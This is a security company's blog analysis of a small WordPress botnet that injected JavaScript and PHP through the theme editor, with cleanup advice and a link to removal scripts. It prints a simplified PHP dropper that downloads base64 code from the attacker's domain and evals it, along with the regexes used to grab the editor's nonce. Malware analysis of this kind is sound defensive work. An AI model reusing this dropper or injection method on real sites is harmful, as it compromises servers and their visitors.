WordPress: discovering and neutralising an unknown virus

Lobbydesires botnet

Oxydian was recently alerted to WordPress sites that were malfunctioning. A closer look at these sites revealed that they were infected by a small, unknown and very recent botnet. This type of website compromise is one of the targets checked during a penetration test. Here is the analysis:

EDIT 14/07/20: here are the scripts to detect and clean up this malware:

https://github.com/Guiomuh
/WP_Redirect_Botnet_Cleaner

General analysis

It all started with the discovery of the following suspicious JavaScript payload on a WordPress site:
Excerpt of the LobbyDesires botnet code, part 1

It quickly becomes clear that the site https://lobbydesires[.]com is a C&C (Command and Control) server hosting the malicious code of this malware. This allows the attacker to change the botnet’s features at will.

Let us start with a general analysis of this malware. First of all, a simple WHOIS on the domain name shows that the site is hosted in the Netherlands and was registered on 29 June 2020, just 4 days earlier. Yet in so few days, many sites have already been infected!

The following Google search lists the share of infected sites that have been indexed since their infection:


intext:lobbydesires[.]com/location.js

At the time of writing, 260 sites show up, but the real number is probably much higher given the time it takes Google’s bots to re-index a website.

Technical analysis: location.js

Here is the code of the location.js file, which is fetched from lobbydesires.com and then executed on every visit to an infected page.

As a reminder, this is JavaScript code, so it runs in the browser of the person visiting the site and not on the site itself

Excerpt of the LobbyDesires botnet code, part 2

The code has been obfuscated, so some work is needed to make it understandable.

After some clean-up, this file turns out to contain 3 JS functions:


check_adm()
make_theme()
reqListener()

reqListener()

The last function, reqListener() is empty, which suggests that the botnet is not finished; this point is covered further below.

check_admin()

This is the malware’s main function, the one executed once the functions have been defined. It uses cookies to check whether the user visiting the infected page is the administrator of the WordPress site. If not, the user is redirected to the login page. If it is the administrator, the make_theme() function is then called.

The effect is to block the page until the administrator visits it, which is rather devious indeed.

make_theme()

This function starts by sending a GET request to the following address:


http://[victime.com]/wp-admin/theme-editor.php?file=header.php

This is the WordPress page that lets the administrator edit the current theme, here more specifically the theme’s header.php file.

The malware then extracts some information from the page using regular expressions. It needs this information to interact with the page later on.


i = /name=”newcontent”.*?[>]([\/\s\/\S]*?)</textarea/g.exec(n),
d = /<option.*?value=”(.*?)”.*?selected/g.exec(n),
p = /name=”nonce”([ ]+)value=”([^”]+)”/g.exec(n);

  • i[1] contains the content of header.php before modification
  • d[1] contains the name of the theme in use
  • p[2] contains the nonce value that will be used for subsequent requests

The function then checks whether the theme is already infected by looking for the string “sdfsd23” (present in the 2nd payload (PHP) shown below). If the theme is not already infected, 2 payloads are added at its beginning. One in JavaScript, similar to the previous one:

Excerpt of the LobbyDesires botnet code, part 3

And one containing PHP code: (simplified here for clarity)


<?php
$a = https://lobbydesires[.]com/n.txt;
$b = "sdfsd234";
file_put_contents($b,"<?php".base64_decode(file_get_contents($a)));
include($b);
unlink($b);
eval(base64_decode(file_get_contents($a)));
?>

This PHP code is therefore executed on the server on every page load. But what does it do?

Technical analysis: persistence in the WP theme

The previous PHP payload downloads and executes the file https://lobbydesires[.]com/n.txt

This file is a base64-encoded PHP script

As a reminder, this is PHP code, so it runs on the infected server

The core of this file contains several functions but, put simply, it searches for specific files from the server root in order to infect them.

This means that other sites hosted on the same server can be infected too!

This search can be divided into 4 parts:

  • Searching for the wp-config.php file
  • Searching for files whose name contains “.ph” or “.htm”
  • Searching for files whose name contains “index.” and (“.ph” or “.htm”)
  • Searching for files whose name contains “.js”

Although the search method is not optimal, the malware clearly targets JS, PHP and HTML files. In each case, a JavaScript payload similar to the previous ones is added to the file found, except for wp-config.php

Once found, this file is parsed for the WordPress SQL database credentials. These are then used to add the JavaScript payload to every WordPress post.

A baby botnet?

As noted above, this botnet does not look finished. Besides not yet having payloads capable of launching attacks, some features are incomplete.

To give just one example, consider the rebut.log file:

This file, created when the malicious PHP code runs, contains the date of its last execution. It is used at the start of execution to check whether the last run was more or less than 6400 seconds ago, most likely to prevent the malware from running again on every page load, which could seriously slow the site down. However, the same thing is executed in both cases, which is inconsistent.

The name of this rebut.log file (“rebut” is French for “scrap”) seems to be a hint that the attacker is French-speaking.

Next, the JavaScript payloads carry an unused parameter indicating where they were called from. In summary:


location.js?i=1 -> from index.php
location.js?s=1 -> from .php .htm or JS
location.js?qs=1 -> from SQL DB article
location.js?v=1 -> from Infected Theme (header.php)

In addition, there is a great deal of code redundancy, which may hint at its author’s inexperience.

Finally, the control server has no redundancy. Normally, in this kind of malware, several infected servers are used redundantly to store the code files, so that the attacker keeps control of the botnet even if one server is reported.

In this case, only one server is used and Oxydian has reported it 😀 so it is only a matter of time before this botnet becomes unusable.

EDIT (05/07/2020): the server is no longer available

Conclusion

Although currently harmless, this virus is very persistent and updates itself on every visit to an infected page. This could therefore change soon, and the botnet could quickly reveal its true purpose. Cleaning up any infected site is therefore essential. To that end, Oxydian has published a script that performs a complete clean-up of this malware. Because the malware is so persistent, missing a single page would be enough to cause a complete reinfection of the sites hosted on the server.

In the meantime, a quick fix is to block the lobbydesires[.]com domain in the firewall or, failing that, to add it to the hosts file. This fix is not complete, however: it only prevents the download, and therefore the update, of the PHP payload inserted into the theme.

This leaves the question of how the initial infection took place. One hypothesis is a stored XSS vulnerability in an outdated WordPress installation or plugin. Such vulnerabilities are common and would allow the initial JS payload to be injected, infecting the first page, which would then infect the whole site once visited by the administrator. The same family of application flaws is investigated in the mitm6 analysis, an internal network takeover via IPv6.

 

Recommendations: to guard against this type of attack, keeping WordPress and its plugins up to date is essential.


Picture of REDTEAM OXYDIAN

REDTEAM OXYDIAN

L'équipe REDTEAM est en charge de la réalisation des audits intrusifsThe REDTEAM is in charge of Oxydian's intrusion tests and offensive auditsEl equipo REDTEAM se encarga de las pruebas de intrusión y auditorías ofensivas de OxydianDas REDTEAM führt die Penetrationstests und offensiven Audits von Oxydian durchIl team REDTEAM si occupa dei test di intrusione e degli audit offensivi di OxydianL'equip REDTEAM s'encarrega de les proves d'intrusió i les auditories ofensives d'OxydianA equipe REDTEAM é responsável pelos testes de intrusão e auditorias ofensivas da Oxydian

Free 30-min assessment
Security audit and penetration testing icon

A FREE 30-minute ASSESSMENT, no strings attached!

Oxydian gives you the opportunity to quickly assess your cybersecurity maturity level during a 15- to 30-minute video call.

Speak directly with an expert, identify your needs, and receive 100% personalised recommendations, with a report ranked by priority.

Want to assess yourself independently?

An online self-assessment is also available to give you an initial overview of your security level by calculating your cyber score.